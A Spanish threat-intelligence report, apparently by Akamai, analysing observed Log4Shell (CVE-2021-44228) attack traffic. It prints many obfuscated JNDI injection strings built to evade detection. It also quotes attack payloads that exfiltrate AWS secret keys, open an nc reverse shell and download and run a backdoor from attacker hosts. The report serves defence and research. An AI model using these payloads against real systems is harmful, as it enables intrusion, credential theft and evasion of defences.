Inteligencia ante amenazas en Log4j CVE: Principales conclusiones y sus implicaciones
Continuando con nuestra investigación sobre CVE-2021-44228, Akamai ha escrito anteriormente sobre cuál es la vulnerabilidad y ha ofrecido recomendaciones sobre cómo ir más allá de los parches para obtener una protección adicional. A través de la red de Akamai, supervisamos a diario el tráfico de 1300 millones de dispositivos únicos, con un tráfico récord de 182 Tbps. El equipo de investigación de amenazas ha investigado este tráfico para obtener información más detallada sobre cómo se aprovecha esta vulnerabilidad. Queremos compartir más hallazgos técnicos y lo que suponen para los investigadores de amenazas. Estas son algunas consecuencias que los defensores y los investigadores de amenazas deben tener en cuenta:
- Cabe esperar que esta vulnerabilidad tenga un período de ataque prolongado. Prevemos que, debido al extenso uso de este software y a la gran cantidad de variaciones de ataque, seguiremos viendo intentos de ataque durante meses y esperamos que se descubran muchas filtraciones en el futuro. Seguimos recomendando parches urgentes para mitigar futuros intentos de ataque.
- Los atacantes utilizaron inyecciones oportunistas y se volvieron más específicos. Al igual que con las mutaciones de los ataques, los atacantes fueron a por todos los puntos de inyección que podían. Y, aunque comenzaron con puntos oportunistas evidentes como el agente de usuario, los atacantes empezaron rápidamente a ir a por parámetros específicos de la organización. Este tipo de inteligencia es muy útil para los defensores web a la hora de adaptarse rápidamente al panorama de amenazas que se está desarrollando
- Es posible que las consecuencias del reconocimiento no se comprendan plenamente durante meses. La gran mayoría de la actividad observada fue un reconocimiento/análisis, en comparación con un porcentaje relativamente menor de ataques reales. Y, si bien los ataques se pueden mitigar mediante parches y otros métodos, no está claro cuántas filtraciones se han producido durante este período. Las filtraciones tardan tiempo en hacerse patentes y en que podamos comprender su magnitud.
Veamos ahora los hallazgos detallados.
Hallazgo 1: un inicio leve, y después un tsunami global de actividad maliciosa
Los intentos de ataque a nuestros clientes tardaron un poco en aumentar, pero una vez que lo hicieron, se lanzaron en olas sucesivas y masivas. Esto también se correlacionaría con los otros hallazgos; a medida que los atacantes descubrieron más vectores de ataque, las variaciones de ataque y el volumen de actividad maliciosa aumentaba drásticamente.
Al igual que con otros días 0, los adversarios adoptaron muy rápidamente este ataque y expandieron su arsenal de ataques. Partiendo de nuestros datos, podemos decir que aproximadamente el 57 % de la infraestructura atacante que envía ataques log4j ya era conocida por Akamai de ataques anteriores; básicamente, el tsunami provino tanto de actores maliciosos existentes que eran oportunistas como de atacantes nuevos.
La ola de ataques también fue global. La mayoría de los ataques se originaron inicialmente en los Estados Unidos, Singapur, Alemania y Brasil, pero las zonas geográficas estaban muy distribuidas. También observamos algunos de los ataques procedentes de servidores alojados por proveedores de nube populares, como AWS y DigitalOcean.
Hemos notado que las zonas geográficas de las direcciones IP atacantes siempre están en movimiento. El 15 de diciembre, se supo que Canadá, la Federación Rusa, sorprendentemente Luxemburgo y el Reino Unido eran los países que tenían los equipos maliciosos que habían estado enviando la mayor parte de los ataques de log4j.
El comercio dominaba los sectores de la industria, mermando una gran cohorte intersectorial. Más del 50 % de los clientes de seguridad de aplicaciones de Akamai experimentaron intentos de ataque en una sola hora.
Estados Unidos fue más de 5 veces objetivo del país de destino más cercano (Reino Unido) y, nuevamente, hubo un gran grupo de países con intentos de objetivo similares.
Hallazgo 2: Mutaciones de ataque sin precedentes
Además del enorme impacto de esta vulnerabilidad, hemos apreciado una evolución sin precedentes de las variantes de ataque.
Aunque el vector de ataque inicialmente sugerido en el ataque de prueba de concepto fue:
${jndi:ldap://malware_server_address/}
Inmediatamente surgieron otras técnicas de evasión directa, como cargas codificadas por URL:
$%7Bjndi:ldap:/x.x.x.x:3339/Exploit%7D
En horas, los atacantes comenzaron a probar otros proveedores de servicios de registro JNDI, como "rmi" y "dns", para evadir detecciones específicamente en busca de "ldap", que se sugirieron como:
${jndi:rmi:// y ${jndi:dns://
La documentación existente de las búsquedas de Log4j 2 ayuda a comprender la superficie de ataque y el potencial de las evasiones. Los atacantes y los investigadores intentaban utilizar cualquiera de las directivas de búsqueda para crear una variante de ataque oculta que no incluyera "jndi", una cadena que asume que la mayoría de los defensores buscan en sus reglas de detección.
Debido a que log4j es insensible a las mayúsculas, al principio se usaban las directivas de búsqueda de transformación de caracteres más triviales: "minúsculas" y "mayúsculas":
${${lower:j}ndi: y ${${upper:j}ndi:
Aunque se puede introducir cualquier longitud de cadena en la función de búsqueda, y no un solo carácter, funcionará:
${${lower:jnd}i:
De inmediato, los adversarios descubrieron que es posible definir una variable de usuario y configurarla con un valor predeterminado mediante un signo "-", lo que producirá la devolución de este valor predeterminado tras la definición. Esto proporciona otro truco para ocultar las cadenas "jndi" y "ldap":
${${x:-j}ndi:
Aparentemente, el marco de log4j no requiere ni siquiera proporcionar un nombre a una variable, mientras que las variantes de ataque comenzaban incluyendo esos nombres de variables "vacíos" y también variables con varias profundidades:
${${:-j}ndi: y ${${:: -j}ndi:
Algunas variantes comenzaron usando otras directivas de usuario como "env" para definir nuevas variables ambientales y "fecha", lo que sorprendentemente no aplica ningún formato de fecha:
${${env:BARFOO:-j}ndi y ${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:ldap://127.0.0.1:3339/Exploit}
Las variantes más avanzadas, que aparecieron a los pocos días del lanzamiento del ataque masivo, también incluían una evasión de cadenas "vacía". Los atacantes buscaban un método de búsqueda y una expresión que, cuando se evaluara, pudiera dar como resultado una cadena "vacía", lo que significa que esta expresión podría inyectarse entre cualquier carácter como:
${:-}
Las variantes más avanzadas de la cadena "vacía" se basaban en la configuración específica del sistema y en la inyección de elementos como:
${{sys:sun.cpu.isalist}jnd${sys:sun.cpu.isalist}i
Y muchas más variantes, incluidas la doble codificación de url, unicode y expresiones sin llave de cierre "}", que hemos visto que los atacantes también estaban probando.
Es importante tener en cuenta que los atacantes estaban probando diferentes variantes de ataques que no funcionaban, como:
$jndi:ldap:/
Hallazgo 3: varios lugares de inyección, que se mueven de oportunistas a selectivos
En nuestra investigación, descubrimos que los atacantes inyectaron la carga del ataque en varios lugares. El lugar más común en el que se inyectó el ataque son los argumentos de cadena de consulta, el encabezado usuario-agente, como en el ataque original de prueba de concepto, y la ruta de solicitud, suponiendo que los servidores y las aplicaciones web registrarán información de "acceso", como el método, la ruta de solicitud y el agente de usuario.
En la mayoría de los ataques, la inyección estaba en diferentes parámetros de consulta ficticia, como "x", "prueba" y "foo". Se utilizaron otros parámetros de consulta como "url", "nextUrl", "_csrfToken", "_endcoding" y "openid.retrun_to", para intentar estimar que esos parámetros tienen altas probabilidades de ser registrados.
Cada encabezado imaginable era objetivo de inyección, incluidos Cookie, Referer, X-Forwarded-For, y Connection.
Muchos de los atacantes estaban enviando solicitudes para inyectar el ataque en varios lugares de la misma solicitud.
Hallazgo 4: el análisis de carga muestra el uso de reconocimiento ciego, lo que disminuye el malware y las herramientas posteriores al ataque.
La mayoría de atacantes están aplicando la técnica de reconocimiento "ciego" utilizando los servicios online más populares para la detección de la interacción de servicios externos. En ciertas vulnerabilidades, el atacante no puede obtener una respuesta directa del servicio objetivo para confirmar una vulnerabilidad. En tales casos, la técnica para comprobar si el sitio web es vulnerable intentará ejecutar el código para ponerse en contacto con un servidor externo bajo el control de los atacantes al escuchar dichas conexiones. Si el servidor del atacante recibe una "baliza" de un servidor determinado, significa que ese servidor ha ejecutado correctamente el código del atacante. En lugar de configurar y mantener dicho servidor, la mayoría de los atacantes estaban usando las configuraciones online más populares exactamente para eso.
Los servicios más populares utilizados en el ataque de log4j fueron "ineract.sh", "burpcollaborator.net" y "canarytokens.com"; sin embargo, se utilizaron muchos más nombres de dominio en el ataque. Muchos de esos dominios estaban organizando una implementación del servidor de interacción "Ineractsh" fuera de banda de código abierto.
Figura: servicio "canarytokens.com" para detectar la interacción fuera de banda que se utilizó en el ataque log4j
Además de la baliza ciega de reconocimiento, muchos de los atacantes ya estaban tratando de exfiltrar datos útiles como el nombre de host del equipo, los datos del entorno como java:os, java:vm, env:user, incluso extrayendo claves AWS para facilitar el control de la cuenta AWS.
x=${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.c6r0th1plenfp33c62vgcg5bneayyna7g.interactsh.com/a} |
Otras cargas incluyen la ejecución directa de comandos mediante la carga codificada base64:
${jndi:ldap://165.22.213.147:1389/Basic/Command/Base64/bmMgMTY1LjIyLjIxMy4x
NDcgODg4OCAtZSAvYmluL2Jhc2ggOyBjdXJsIGh0dHA6Ly8xNjUuMjIuMjEzLjE0Nz
o3Nzc3L2JhY2tkb29yLnNoIC1vIGJhY2tkb29yLnNoIDsgY2htb2QgK3ggLi9iYWNrZG9vci5
zaCA7YmFzaCBiYWNrZG9vci5zaCA7IGRpZyBsb2x6LjEyMWVwdDltNmJvanVsaHZ3dzBiN
HlxdHBrdmJvemQuYnVycGNvbGxhYm9yYXRvci5uZXQ=}
Lo que se traduce en:
nc 165.22.213.147 8888 -e /bin/bash ; curl http://165.22.213.147:7777/backdoor.sh -o backdoor.sh ; chmod +x ./backdoor.sh ;bash backdoor.sh ; dig lolz.121ept9m6bojulhvww0b4yqtpkvbozd.burpcollaborator.net |
Los atacantes están abriendo un shell inverso a su servidor C2, descargando un script sprehead bash, ejecutarlo y enviando una señal periódica "DNS" al "burpcollaborator.net" para confirmar que el servidor es vulnerable.
Se utilizaron servicios de túnel inverso como "ngrok.io", así como para ocultar las identidades de los atacantes:
${${env:BARFOO:-j}ndi:${env:BARFOO:-l}dap${env:BARFOO:-:}//0.tcp.ngrok.io:17305/Basic/Command/Base64/d2dldCA4LnRjcC5uZ3Jvay5pbzoxNDYzOSAg}
Mientras el comando ejecutado era para descargar una puerta trasera:
wget 8.tcp.ngrok.io:14639
La ventaja de esos servicios de túnel es que los atacantes no necesitan alojar su malware en su propio servidor público, que las autoridades podrían apagar o aprovechar. En ese caso, un atacante aloja malware y el panel de comando y control en su propio equipo, y podría esconderse detrás de un servicio de túneles legítimo, mientras que este servicio creará un "proxy" del tráfico C2 del equipo de la víctima al equipo del atacante.
Además de los atacantes que implementan equipos de criptominería y bots DDoS, hemos encontrado a ciertos atacantes agresivos que realizan un gran volumen de análisis y se dirigen a equipos Windows. Los atacantes intentaron implementar la famosa puerta trasera "netcat", una conocida herramienta de derivación de privilegios de Windows, que se utiliza comúnmente para movimientos laterales posteriores o para obtener privilegios para cifrar el disco con ransomware.
Uno de los servidores de los atacantes que alberga herramientas de ataque netcat y WinPEAS
De los ataques generales que hemos observado hasta la fecha, solo un pequeño porcentaje parece estar relacionado con el ransomware.
Manténgase atento para obtener más información
Si bien hemos descubierto información importante sobre datos, no hemos terminado. Los equipos de inteligencia ante amenazas, investigación de seguridad y respuesta a incidentes de Akamai siguen supervisando y protegiendo nuestra infraestructura y a nuestros clientes, aprovechando nuestra visibilidad e inteligencia únicas.
